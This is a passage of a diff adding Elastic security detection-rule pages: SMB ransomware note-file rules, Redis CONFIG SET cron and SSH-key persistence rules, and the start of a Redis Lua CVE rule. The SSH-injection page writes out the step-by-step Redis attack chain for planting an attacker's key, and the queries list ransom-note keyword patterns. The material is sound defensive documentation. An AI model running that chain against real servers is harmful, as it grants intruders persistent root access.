"/opt/halcyon/halcyonar/agent", "/usr/local/bin/qsetup", "/usr/bin/pamac", + "/usr/bin/elephant", "/usr/bin/Hyprland" + ) or + ?process.parent.executable like ( + "/opt/tableau/tableau_server/packages/scripts.*/after-install", "/opt/acronis/bin/acp-update-controller", "/snap/*", + "/var/lib/amagent/*", "/opt/msp-agent/msp-agent-core", "/opt/beyondtrust/*", "/var/lib/rancher/k3s/*/bin/k3s" + ) or + ?process.parent.name like "platform-python*" or + ?process.parent.name in ( + "udevadm", "daemon.start", "snap", "systemd", "ptyxis-agent", "run-slack", "run-firefox", "dbus.service", "k3s-server", + "systemd-udevd", "kubelet", "hyperkube", "kthreadd", "gnome-shell", "xdg-desktop-portal", "firefox", "picus_updater", + "rpm-ostree", "prompt-agent" + ) or + ?process.command_line in ( + "/usr/bin/systemd-run /usr/bin/systemctl start man-db-cache-update", "systemd-run env", + "systemd-run --user dnf-automatic-notifyonly.timer", "systemd-run --user systemctl suspend", "systemd-run /var/lib/aws-replication-agent/uninstall-agent.sh", + "systemd-run --on-active=10 --timer-property=AccuracySec=100ms --slice=system.slice systemctl start gc-agent", + "systemd-run --user --scope --unit=tmux-server -- tmux", "systemd-run bash -c sleep 60 && reboot" + ) or + ?process.command_line like~ ( + "systemd-run --scope -p CPUQuota=10% rpm -qa*", "systemd-run --scope -p CPUQuota=10% dpkg -l*" + ) or + ?process.parent.command_line in ("runc init", "/usr/local/bin/main") or + ?process.parent.command_line like ("*/var/lib/waagent/*", "bash ./run.sh") or + process.args in ( + "--help", "list-timers", "/usr/lib/udev/kdump-udev-throttler", "kubectl", "--unit=ngt_guest_agent_upgrade", "i3-zoom", "google-chrome", + "thunar", "/usr/bin/google-chrome-stable", "snap.lxd.workaround", "--unit=firefox", "--unit=slack", "--slice=zoom.slice", + "autorandr-launcher", "--unit=restart-dbus", "--unit=autorandr-debounce" + ) or + process.args like ("--unit=app-Hyprland-wezterm-*.scope", "--unit=app-Hyprland-swaybg-*.scope", "--unit=rmf_sim_*") or + ?process.working_directory == "/opt/Tychon/Endpoint/bin" or + (process.args in ("rpm", "dpkg") and process.args like~ "CPUQuota=*") or + (process.args == "--slice=app-graphical.slice" and process.args == "--description=xdg-terminal-exec") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-behavior-note-files-by-system.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-behavior-note-files-by-system.asciidoc new file mode 100644 index 0000000000..8515e44b4f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-behavior-note-files-by-system.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-potential-ransomware-behavior-note-files-by-system]] +=== Potential Ransomware Behavior - Note Files by System + +This rule identifies the creation of multiple files with same name and over SMB by the same user. This behavior may indicate the successful remote execution of a ransomware dropping file notes to different folders. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2023/12/21/akira-again-the-ransomware-that-keeps-on-taking/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Possible investigation steps* + + +- Investigate the content of the dropped files. +- Investigate any file names with unusual extensions. +- Investigate any incoming network connection to port 445 on this host. +- Investigate any network logon events to this host. +- Identify the total number and type of modified files by pid 4. +- If the number of files is too high and source.ip connecting over SMB is unusual isolate the host and block the used credentials. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Local file modification from a Kernel mode driver. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 +- Potential Ransomware Note File Dropped via SMB - 02bab13d-fb14-4d7c-b6fe-4a28874d37c5 +- Suspicious File Renamed via SMB - 78e9b5d5-7c07-40a7-a591-3dbbf464c386 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.file-* metadata _id, _version, _index + +// filter for file creation event done remotely over SMB with common user readable file types used to place ransomware notes +| where event.category == "file" and host.os.type == "windows" and event.action == "creation" and process.pid == 4 and user.id != "S-1-5-18" and + file.extension in ("txt", "htm", "html", "hta", "pdf", "jpg", "bmp", "png") and + to_lower(file.path) like """c:\\*""" and not to_lower(file.path) like """c:\\temp\\*""" + +// truncate the timestamp to a 60-second window +| eval Esql.time_window_date_trunc = date_trunc(60 seconds, @timestamp) + +| keep user.id, user.name, file.path, file.name, process.entity_id, Esql.time_window_date_trunc, host.name, host.ip, host.id + +// filter for same file name dropped in at least 3 unique paths by the System virtual process +| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path), Esql.host_ip_values = values(host.ip) by host.id, host.name, user.name, user.id, process.entity_id , file.name, Esql.time_window_date_trunc +| where Esql.file_path_count_distinct >= 3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-note-file-dropped-via-smb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-note-file-dropped-via-smb.asciidoc new file mode 100644 index 0000000000..9d1cd14304 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-ransomware-note-file-dropped-via-smb.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-potential-ransomware-note-file-dropped-via-smb]] +=== Potential Ransomware Note File Dropped via SMB + +Identifies the creation of a file with a name similar to ransomware note files by the Windows System process (PID 4). This may indicate a remote ransomware attack via the SMB protocol. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-5m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Ransomware Note File Dropped via SMB* + + + +*Possible investigation steps* + + +- What do the sequence member events show about the accepted SMB session and note-file burst? + - Why: this sequence can omit stage-specific values from the combined alert; disposition depends on recovered source events. + - Focus: Timeline member events: network-stage `source.ip`, then file-stage `user.id`, `file.path`, `file.name`, and `file.extension`. + - Implication: escalate when one remote source is followed within one second by repeated note-like creations under user-profile paths; lower concern only when recovered source, identity, names, and paths form one bounded, neutral file-copy pattern for validation. + - Hint: `process.pid` value "4" is target-side kernel SMB I/O, not the remote executable; use `user.name` only as a readable label for the file-stage identity. + +- Do recovered `source.ip` and writing identity match a stable SMB pattern for this host? + - Why: the target-side kernel process does not identify the remote operator; source and SMB identity carry attribution value. + - Focus: surrounding and historical SMB "connection_accepted" events for `host.id` and recovered `source.ip`, plus file-stage `user.id` and `user.name`. !{investigate{"description":"","label":"SMB connection events on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"event.action","queryType":"phrase","value":"connection_accepted","valueType":"string"},{"excluded":false,"field":"destination.port","queryType":"phrase","value":"445","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the source is new for this host, appears only in a short burst, or pairs with an unusual SMB identity; lower concern when the same source and identity recur as one bounded backup, migration, or maintenance pattern. Missing SMB history is unresolved, not benign. + +- Do created files indicate broad ransom-note staging rather than routine instructions? + - Focus: recovered `file.path`, `file.name`, `file.extension`, `file.size`, and `file.Ext.header_bytes`; repeated names across multiple "C:\Users\" profile paths. + - Implication: escalate when identical or near-identical note files land in multiple profiles, use ".hta" or HTML variants, or are small text/HTML artifacts meant for user visibility; lower concern when files stay in one bounded application or migration folder and match stable instruction-file naming for the same source. + +- Does same-window SMB file activity show broader destructive or staging behavior? + - Why: note drops often accompany remote rename, delete, or other drop activity that this rule does not capture directly. + - Focus: file events in the same SMB window: `event.action`, `file.path`, `file.extension`, `file.Ext.original.path`, and `file.Ext.original.extension`. !{investigate{"description":"","label":"File events for SMB server writes on this host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same window shows mass rename, delete, extension-change, or extra drop behavior in user or shared paths; lower concern when activity stays limited to the small note set with no follow-on churn. + +- If local SMB evidence remains suspicious or unresolved, does impact context stay local or show source fan-out? + - Why: ransomware may place notes apart from encryption or recovery inhibition, and SMB ransomware can fan out with valid accounts or admin shares. + - Focus: same-host impact alerts over 48 hours, then other SMB events keyed by recovered `source.ip` with matching note-like `file.name`, `file.path`, or impact `event.action`. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when the host shows rename, shadow-copy, backup-tamper, or destructive alerts, or when one source fans out to multiple hosts with matching note-drop or impact signals; keep the case local only when the source is confined to one bounded file-copy pattern. Missing cross-host SMB telemetry is unresolved, not benign. + - Hint: start with `source.ip` plus `destination.port` 445, then join returned hosts to note-like file creations by time. + +- What disposition do the recovered SMB source, identity, note pattern, file churn, and scope support? + - Escalate for remote note staging plus unexpected SMB identity, destructive file activity, recovery inhibition, or multi-host spread; close only for one stable bounded file-copy pattern with neutral names and no contradictory impact evidence; if purpose still depends on records, preserve artifacts until telemetry resolves it. + + +*False positive analysis* + + +- Bulk backup, migration, or endpoint-management jobs can place repeated text or HTML instruction files over SMB. Confirm the same recovered `source.ip`, `user.id`, `user.name`, neutral `file.name` family, and bounded `file.path` recurs for this `host.id` without rename, delete, shadow-copy, backup-tamper, or cross-host note-drop spread. Change records can corroborate, not replace, telemetry alignment. +- Case-driven incident response, legal-hold, or notification activity can write readme-style files remotely. Confirm recovered `source.ip`, `user.id`, `user.name`, `file.path`, and `file.extension` stay bounded to intended case or communication folders, use neutral notice/readme naming rather than decrypt, recover, lock, or payment language, and do not coincide with broader rename or delete activity from `process.pid` value "4". If case records are unavailable, require recurrence of the same source, identity, and path family without spread. +- Before creating an exception, validate recurrence across prior alerts from this rule. Build the exception from the minimum pattern: recovered `source.ip`, `user.id` or `user.name`, representative `file.name`, bounded `file.path` family, and affected host cohort. Avoid exceptions on `file.name`, `host.id`, or `process.pid` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the confirmed `source.ip`, `user.id` or `user.name`, representative `file.name`, and bounded `file.path` pattern. Create an exception only after that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, Timeline member-event export, copies or hashes of representative note files, recovered source and user identifiers, surrounding file-action evidence, and same-host alert identifiers before containment. Apply reversible containment first, such as temporarily blocking SMB from the recovered source to the target or restricting the recovered user for SMB access. Use host isolation only if note drops continue, spread to additional hosts, or the target role can tolerate interruption. +- If confirmed malicious, isolate the recovered source host when it is managed and the source, SMB identity, note-file pattern, and impact evidence confirm active ransomware behavior. If direct endpoint response is unavailable on the source, hand off the preserved artifacts to the team that can block the SMB path or contain the source system. Before deleting files, terminating processes, or restoring data, export the member events, related impact alerts, note files, and affected host list. +- After confirmed malicious scoping identifies affected hosts and accounts, rotate or reset the SMB credentials that were used or exposed, review other hosts touched by the same recovered `source.ip`, then remove dropped notes and restore affected data from known-good backups. +- Post-incident hardening: restrict unnecessary SMB administrative access, protect backup and shadow-copy workflows, retain endpoint network and file telemetry needed to reconstruct remote file activity, and record the confirmed benign workflow or malicious source-and-path pattern for future cases. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, file.name with maxspan=1m + [file where host.os.type == "windows" and event.action == "creation" and + process.pid == 4 and user.id : ("S-1-5-21*", "S-1-12-*") and file.extension : ("hta", "txt", "readme", "htm*") and + /* ransom file name keywords */ + file.name : ("*read*me*", "*lock*", "*@*", "*RECOVER*", "*decrypt*", "*restore*file*", "*FILES_BACK*", "*how*to*") and + (file.path : ("C:\\Users\\*", "C:\\aaAntiRansom*") or (file.path : "C:\\*" and not file.path : "C:\\*\\*"))] with runs=3 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-cron-directory-persistence-redisraider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-cron-directory-persistence-redisraider.asciidoc new file mode 100644 index 0000000000..0591eab4c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-cron-directory-persistence-redisraider.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-potential-redis-config-set-cron-directory-persistence-redisraider]] +=== Potential Redis CONFIG SET Cron Directory Persistence (RedisRaider) + +This rule detects attempts to abuse Redis CONFIG SET commands to redirect the database save directory to a cron directory on Linux hosts. Attackers issue CONFIG SET dir to a cron path such as /etc/cron.d or /var/spool/cron, set a filename via CONFIG SET dbfilename, write a cron payload via SET, and then call BGSAVE to flush it to disk, establishing persistence for execution of an XMRig cryptominer. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.redis* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/redisraider-mining-campaign/ +* https://attack.mitre.org/techniques/T1053/003/ +* https://attack.mitre.org/techniques/T1496/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Impact +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Cryptomining +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Redis CONFIG SET Cron Directory Persistence (RedisRaider)* + + +Redis's CONFIG SET command allows runtime reconfiguration of the server, including the working directory (`dir`) and database filename (`dbfilename`). Attackers exploit this to redirect Redis's BGSAVE output into system directories such as `/etc/cron.d` or `/var/spool/cron`, writing attacker-controlled content as a cron job. The RedisRaider campaign used this technique to deploy XMRig cryptominers at scale by mass-scanning IPv4 blocks for unauthenticated Redis instances. + +A related variant (not specific to RedisRaider) targets SSH key injection using `CONFIG SET dir /root/.ssh` and `CONFIG SET dbfilename authorized_keys`. Consider a companion rule for that pattern if your Redis instances are internet-exposed. + + +*Possible investigation steps* + + +- Identify the source IP and determine whether it is an expected Redis client or an external/unknown address. Internet-sourced CONFIG SET to a cron path is almost certainly malicious. +- Check whether the destination Redis instance requires authentication (`requirepass` or ACL). Unauthenticated instances are the primary target of RedisRaider-style campaigns. +- Review subsequent Redis commands from the same source IP for `SET` (cron payload write) and `BGSAVE` (flush to disk), which complete the persistence chain. +- Examine the Redis host for new or modified files under `/etc/cron.d`, `/etc/cron.daily`, `/etc/cron.hourly`, `/var/spool/cron`, or `/var/spool/cron/crontabs` at or after the alert time. +- Check for XMRig or other cryptominer process execution and unexplained CPU spikes on the host. +- Review outbound network connections from the Redis host for connections to known mining pools or C2 infrastructure. + + +*False positive analysis* + + +- `CONFIG SET dir` is a legitimate administrative command used during backup configuration, data migration, or operational changes. Verify whether the directory is a known backup or data path rather than a system directory. +- Legitimate Redis usage will never set `dir` to `/etc/cron.d`, `/var/spool/cron`, or any other system cron directory. A match on this pattern has an extremely low false positive rate. +- Automated deployment or configuration management tools (Ansible, Chef, Puppet) may issue CONFIG SET as part of Redis setup — verify the source IP and timing against known deployment windows. + + +*Response and remediation* + + +- Immediately check the target cron directories for newly created files written by the Redis process (owner: redis, unusual content). +- If a cron file was written, delete it and terminate any spawned miner processes before remediating. +- Require authentication on all Redis instances (`requirepass` or ACL). Unauthenticated Redis exposed to any network is the root cause of this attack class. +- Restrict `CONFIG SET` permissions using Redis ACLs: `ACL SETUSER -config`. +- Block inbound access to Redis port 6379 from untrusted networks at the host firewall or perimeter. +- Consider enabling Redis's protected mode, which rejects connections from non-loopback addresses when no authentication is configured. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **network_traffic** integration (Packetbeat via Elastic Agent) with the Redis +protocol module enabled. + + +*Enabling the Redis module* + + +In the Elastic Agent `network_traffic` integration policy: +1. Add or confirm **Redis** in the protocols list with `enabled: true`. +2. Set **ports** to include `6379` (or the custom port your Redis instances listen on). +3. Deploy the sensor on the Redis host, on a SPAN/mirror port, or on a gateway that receives Redis traffic. + + +*TLS limitation* + + +This rule requires unencrypted Redis traffic. Redis uses plaintext by default (port 6379). If TLS is configured, +Packetbeat cannot inspect the payload without TLS decryption. + + +==== Rule query + + +[source, js] +---------------------------------- +network where data_stream.dataset == "network_traffic.redis" and + network_traffic.redis.query like~ "*CONFIG SET dir*" and + ( + network_traffic.redis.query like~ "*/etc/cron*" or + network_traffic.redis.query like~ "*/var/spool/cron*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-ssh-authorized-key-injection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-ssh-authorized-key-injection.asciidoc new file mode 100644 index 0000000000..e8ad1cb053 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-config-set-ssh-authorized-key-injection.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-potential-redis-config-set-ssh-authorized-key-injection]] +=== Potential Redis CONFIG SET SSH Authorized Key Injection + +This rule detects attempts to abuse Redis CONFIG SET commands to inject SSH authorized keys on Linux hosts. Attackers targeting unauthenticated Redis instances issue CONFIG SET dir to an SSH directory such as /root/.ssh, set the filename to authorized_keys via CONFIG SET dbfilename, write an attacker-controlled public key via SET, and call BGSAVE to flush it to disk, establishing persistent SSH access as root. + +*Rule type*: eql + +*Rule indices*: + +* logs-network_traffic.redis* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redis.io/docs/latest/operate/oss_and_stack/management/security/ +* https://attack.mitre.org/techniques/T1098/004/ +* https://attack.mitre.org/techniques/T1190/ + +*Tags*: + +* Domain: Network +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Data Source: Network Packet Capture +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Redis CONFIG SET SSH Authorized Key Injection* + + +Redis's CONFIG SET command allows runtime reconfiguration of the server, including the working directory (`dir`) and database filename (`dbfilename`). Attackers targeting unauthenticated Redis instances exploit this to redirect BGSAVE output into `/root/.ssh/authorized_keys`, injecting their own SSH public key and establishing persistent root shell access without credentials. + +The full attack chain is: +1. `CONFIG SET dir /root/.ssh` — redirects the save path to the SSH directory +2. `CONFIG SET dbfilename authorized_keys` — sets the output filename +3. `SET key " + +ssh-rsa ATTACKER_KEY + +"` — writes the public key with surrounding newlines +4. `BGSAVE` — flushes the in-memory dataset (including the injected key) to disk + +A related variant targets cron persistence (`CONFIG SET dir /etc/cron.d`) for cryptominer deployment, as used by the RedisRaider campaign. + + +*Possible investigation steps* + + +- Identify the source IP and determine whether it is an expected Redis client or an external/unknown address. Any external IP issuing CONFIG SET to an SSH directory should be treated as malicious. +- Check whether the destination Redis instance requires authentication (`requirepass` or ACL). Unauthenticated instances are the prerequisite for this attack. +- Review subsequent Redis commands from the same source IP for `SET` (key write) and `BGSAVE` (flush to disk), which complete the injection chain. +- Examine `/root/.ssh/authorized_keys` and other user SSH directories on the Redis host for unexpected or recently modified entries at or after the alert time. +- Check SSH login events on the Redis host for successful logins from unknown keys or source IPs shortly after the alert. +- Review outbound connections from the Redis host for lateral movement or C2 activity following a successful key injection. + + +*False positive analysis* + + +- `CONFIG SET dir` is a legitimate administrative command, but pointing it to any `/.ssh` directory has no legitimate use case. A match on this pattern has an extremely low false positive rate. +- `CONFIG SET dbfilename authorized_keys` has no legitimate operational use. Any match should be investigated immediately. +- Automated deployment tooling (Ansible, Chef, Puppet) will never target SSH directories via Redis CONFIG SET — this combination is exclusively malicious. + + +*Response and remediation* + + +- Immediately inspect `/root/.ssh/authorized_keys` and all user `~/.ssh/authorized_keys` files on the Redis host for unauthorized entries and remove them. +- Rotate SSH host keys and audit all active SSH sessions on the affected host. +- Require authentication on all Redis instances (`requirepass` or ACL). Unauthenticated Redis reachable from any network is the root cause. +- Restrict `CONFIG SET` permissions using Redis ACLs: `ACL SETUSER -config`. +- Block inbound access to Redis port 6379 from untrusted networks at the host firewall or perimeter. +- Consider enabling Redis's protected mode, which rejects connections from non-loopback addresses when no authentication is configured. + + +==== Setup + + + +*Setup* + + +This rule requires the Elastic **network_traffic** integration (Packetbeat via Elastic Agent) with the Redis +protocol module enabled. + + +*Enabling the Redis module* + + +In the Elastic Agent `network_traffic` integration policy: +1. Add or confirm **Redis** in the protocols list with `enabled: true`. +2. Set **ports** to include `6379` (or the custom port your Redis instances listen on). +3. Deploy the sensor on the Redis host, on a SPAN/mirror port, or on a gateway that receives Redis traffic. + + +*TLS limitation* + + +This rule requires unencrypted Redis traffic. Redis uses plaintext by default (port 6379). If TLS is configured, +Packetbeat cannot inspect the payload without TLS decryption. + + +==== Rule query + + +[source, js] +---------------------------------- +network where data_stream.dataset == "network_traffic.redis" and + ( + ( + network_traffic.redis.query like~ "*CONFIG SET dir*" and + network_traffic.redis.query like~ "*/.ssh*" + ) or + ( + network_traffic.redis.query like~ "*CONFIG SET dbfilename*" and + network_traffic.redis.query like~ "*authorized_keys*" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc new file mode 100644 index 0000000000..f68d5090c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-potential-redis-lua-use-after-free-rce-attempt-cve-2025-49844-redishell]] +=== Potential Redis Lua Use-After-Free RCE Attempt (CVE-2025-49844 / RediShell) + +This rule detects exploitation attempts targeting CVE-2025-49844 (RediShell), a CVSS 10.0 use-after-free vulnerability in the Redis Lua interpreter. An authenticated attacker sends an EVAL command containing a Lua script that calls string.rep() to create memory pressure and 